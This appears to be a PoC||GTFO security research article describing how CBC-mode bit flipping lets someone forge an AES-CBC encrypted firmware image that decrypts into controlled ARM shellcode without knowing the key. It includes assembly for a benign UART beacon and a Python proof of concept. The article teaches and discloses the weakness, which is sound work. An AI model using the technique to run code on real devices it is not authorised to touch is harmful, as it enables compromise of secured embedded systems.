


17:02 Constructing AES-CBC Shellcode

by Albert Spruyt and Niek Timmers

Howdy folks!

Imagine, if you will, that you have managed to bypass the authenticity measures (i.e., secure boot) of a secure system that loads and executes a binary image from external flash. We do not judge, it does not matter if you accomplished this using a fancy attack like fault injection¹ or the authenticity measures were lacking entirely.² What's important here is that you have gained the ability to provide the system with an arbitrary image that will be happily executed. But, wait! The image will be decrypted right? Any secure system with some self respect will provide confidentiality to the image stored in external flash. This means that the image you provided to the target is typically decrypted using a strong cryptographic algorithm, like AES, using a cipher mode that makes sense, like Cipher-Block-Chaining (CBC), with a key that is not known to you!




¹Bypassing Secure Boot using Fault Injection, Niek Timmers and Albert Spruyt, Black Hat Europe 2016

²Arm9LoaderHax — Deeper Inside, Jason Dellaluce

Works of exquisite beauty have been made with the CBC-mode of encryption. Starting with humble tricks, such as bit flipping attacks, we go to heights of dizzying beauty with the padding-oracle-attack. However, the characteristics of CBC-mode provide more opportunities. Today, we'll apply its bit-flipping characteristics to construct an image that decrypts into executable code! Pretty nifty!

Cipher-Block-Chaining (CBC) mode

The primary purpose of the CBC-mode is preventing a limitation of the Electronic Code Book (ECB) mode of encryption. Long story short, the CBC-mode of encryption ensures that plain-text blocks that are the same do not result in duplicate cipher-text blocks when encrypted. Below is an ASCII art depiction of AES decryption in CBC-mode. We denote a cipher text block as CT_i and a plain text block as PT_i .



An important aspect of CBC-mode is that the decryption of CT_2 depends, besides the AES decryption, on the value of CT_1 . Magically, without knowing the decryption key, flipping 1 or more bits in CT_1 will flip 1 or more bits in PT_2 .

Let's see how that works, where $\wedge 1$ denotes flipping a bit at an arbitrary position.

$$CT_1 \wedge 1 + CT_2$$

Which get decrypted into:

$$TRASH + PT_2 \wedge 1$$

A nasty side effect is that we completely trash the decryption of CT_1 but, if we know the contents of PT_2 , we can fully control PT_2 to our heart's delight! All this magic can be attributed to the XOR operation being performed after the AES decryption.

Chaining multiple blocks

We now know how to control a single block decrypted using CBC-mode by trashing another. But what about the rest of the image? Well, once we make peace with the fact that we will never control everything, we can try to control half! If we consider the bit-flipping discussion above, let's consider the following image encrypted with AES-128-CBC, for which we do not control the IV:

$$CT_1 + CT_2 + CT_3 + CT_4 + \dots$$

Which gets decrypted into:

$$PT_1 + PT_2 + PT_3 + PT_4 + \dots$$

No magic here! All is decrypted as expected. However, once we flip a bit in CT_1 , like:

$$CT_1 \wedge 1 + CT_2 + CT_3 + CT_4 + \dots$$

Then, on the next decryption, it means we trash PT_1 but control PT_2 , like:

$$TRASH + CT_2 \wedge 1 + PT_3 + PT_4 + \dots$$

The beauty of CBC-mode is that with the same ease we can provide:

$$CT_1 \wedge 1 + CT_2 + CT_1 \wedge 1 + CT_2 + \dots$$

Which results in:

$$TRASH + CT_2 \wedge 1 + TRASH + CT_2 \wedge 1 + \dots$$

Using this technique we can construct an image in which we control half of the blocks by only knowing a single plain-text/cipher-text pair! But, this makes you wonder, where can we obtain such a pair? Well, we all know that known data (such as 00s or FFs) is typically appended to images in order to align them to whatever size the developer loves. Or perhaps we know the start of an image! Not completely unlikely when we consider exception vectors, headers, etc. More importantly, it does not matter what block we know, as long as we know a

block or more somewhere in the original encrypted image. Now that we cleared this up, let's see how we can we construct a payload that will correctly execute under these restrictions!

Payload and Image construction

Obviously we want to do something useful; that is, to execute arbitrary code! As an example, we will write some code that prints a string on the serial interface that allows us to identify a successful attack. For the hypothetical target that we have in mind, this can be accomplished by leveraging the function `SendChar()` that enables us to print characters on the serial interface. This type of functionality is commonly found on embedded devices.

We would like to execute shellcode like the following: beacon out on the UART and let us know that we got code execution, but there's a bit of a problem.

```

1  mov r0,#0x50      ; r0 = 'P'
   ldr r5,[pc,#0]   ; pc is 8 bytes ahead
3  b skip
   .word 0xCACAB0B0 ; address of SendChar
5  skip:
   bl r5           ; Call SendChar
7  mov r0,#0x6f    ; r0 = 'o'
   bl r5           ; Call SendChar
9  mov r0,#0x43    ; r0 = 'C'
   bl r5           ; Call SendChar
11 inf_loop:       ; loop endlessly
   b inf_loop

```

This piece of code spans multiple 16-byte blocks, which is a problem as we only partially control the decrypted image. There will always be a trashed block in between controlled blocks. We mitigate this problem by splitting up the code into snippets of twelve bytes and by adding an additional instruction that jumps over the trashed block to the next controlled block. By inserting place holders for the trash blocks we allow the assembler to fill in the right offset for the next block. Once the code is assembled, we will remove the placeholders!

```

2 ;; placeholder for trash block
  .word 0xdeadbeef
4   .word 0xdeadbeef
  .word 0xdeadbeef
6   .word 0xdeadbeef
8 first_block:
  mov r1,r1 ; Useless first block
  mov r2,r2
10  mov r3,r3
  b second_block
12
14 ;; placeholder for trash block
  .word 0xdeadbeef
  .word 0xdeadbeef
16  .word 0xdeadbeef
  .word 0xdeadbeef
18
19 second_block:
20  mov r0,#0x50 ; r0 = 'P'
  ldr r5,[pc,#0] ; pc is 8 bytes ahead
22  b third_block
  .word 0xCACAB0B0 ; address of SendChar
24
25 ;; placeholder for trash block
26  .word 0xdeadbeef
  .word 0xdeadbeef
28  .word 0xdeadbeef
  .word 0xdeadbeef
30
31 third_block:
32  bl r5 ; Call SendChar
  mov r0,#0x6f ; r0 = 'o'
34  bl r5 ; Call SendChar
  b forth_block
36
37 ;; placeholder for trash block
38  .word 0xdeadbeef
  .word 0xdeadbeef
40  .word 0xdeadbeef
  .word 0xdeadbeef
42
43 forth_block:
44  mov r0,#0x43 ; r0 = 'C'
  bl r5
46 inf_loop:
  b inf_loop
48  nop ; Unused space

```

Let's put everything together and write some Python (Figure 1) to introduce the concept to you in a language we all understand, instead of that most impractical of languages, English. We use a different payload that is easier to comprehend visually. Obviously, nothing prevents you from replacing the actual payload with something useful like the payload described earlier or anything else of your liking!

```

2 ### PLAINTEXT ###
  1212121212121212121212121212121212121212
4   34343434343434343434343434343434343434
  56565656565656565656565656565656565656
6   78787878787878787878787878787878787878
8
9 ### CIPHERTEXT ###
10  d3875385eb0f7e5de539f1ee10b91b7b
  18fa47c26338fa58f581e6e4a33d1948
12  6d00a4edb8bed131ebbb41399b8946c9
  26bdc556c94c528b3fe01a8e54a29cd2
14
15 ### PAYLOAD ###
16  111111111111111111111111111111111111
  22222222222222222222222222222222222222
18
19 ### IMAGE ###
20  f6a276a0ce2a5b78c01cd4cb359c3e5e
  18fa47c26338fa58f581e6e4a33d1948
22  c5914593fd19684bf32fe7f806af0d6d
  18fa47c26338fa58f581e6e4a33d1948
24
25 ### DECRYPTED ###
26  6210e41a26357e3adc10747553d17aea
  111111111111111111111111111111111111
  a0a35ead815a3e2b8ff54f0299614211
  22222222222222222222222222222222222222

```

In a real world scenario it is likely that we do not control the IV. This means, execution starts from the beginning of the image, we'll need to survive executing the first block which consists of random bytes. This can be accomplished by taking the results from PoC||GTFO 14:06 into account where we showed that surviving the execution of a random 16-byte block is somewhat trivial (at least on ARM). Unless very lucky, we can generate different images with a different first block until we can profit!

We hope the above demonstrates the idea concretely so you can construct your own magic CBC-mode images! :)

Once again we're reminded that confidentiality is not the same as integrity, none of this would be possible if the integrity of the data is assured. We also, once again, bask in the radiance of the CBC-mode of encryption. We've seen that with some very simple operations, and a little knowledge of the plain-text, we can craft half-controlled images. By simply skipping over the non-controllable blocks, we can actually create a fully functional encrypted payload, while having no knowledge of the encryption key. If this doesn't convince you of the majesty of CBC then nothing will.

```

2  from Crypto.Cipher import AES
3
4  def printBlocks(title, binString):
5      print "\n###", title, "###"
6      for i in xrange(0, len(binString), 16):
7          print binString[i:i+16].encode("hex")
8
9  def xor(s1, s2):
10     return ''.join([chr(ord(a)^ord(b)) for a,b in zip(s1, s2)])
11
12 #
13 ## Prepare the normal image
14 #
15 IV = "\xFE" * 16
16 KEY = "\x88" * 16
17 PLAINTEXT = "\x12"*16 + "\x34"*16 + "\x56"*16 + "\x78"*16
18
19 CIPHERTEXT = AES.new(KEY, AES.MODE_CBC, IV).encrypt(PLAINTEXT)
20
21 printBlocks("PLAINTEXT", PLAINTEXT)
22 printBlocks("CIPHERTEXT", CIPHERTEXT)
23
24 #
25 ## Make the half controlled image, we use 2 CTs and 1 PT
26 ## from the original encrypted image
27 #
28 knownCipherText = CIPHERTEXT[16:32]
29 prevCipherText = CIPHERTEXT[0:16]
30 knownPlainText = PLAINTEXT[16:32]
31
32 AESoutput = xor(prevCipherText, knownPlainText)
33
34 # Output of the assembler with, placeholder blocks removed
35 payload = '11111111111111111111111111111111' \
36           '22222222222222222222222222222222'.decode('hex')
37
38 printBlocks("PAYLOAD", payload)
39
40 IMAGE = ""
41 for i in range(0, len(payload), 16) :
42     IMAGE += xor(AESoutput, payload[i:i+16])
43     IMAGE += knownCipherText
44
45 printBlocks("IMAGE", IMAGE)
46 #
47 ## What would the decrypted image look like?
48 #
49 DECRYPTED = AES.new(KEY, AES.MODE_CBC, IV).decrypt(IMAGE)
50 printBlocks("DECRYPTED", DECRYPTED)

```

Figure 1. Python to Force a Payload into AES-CBC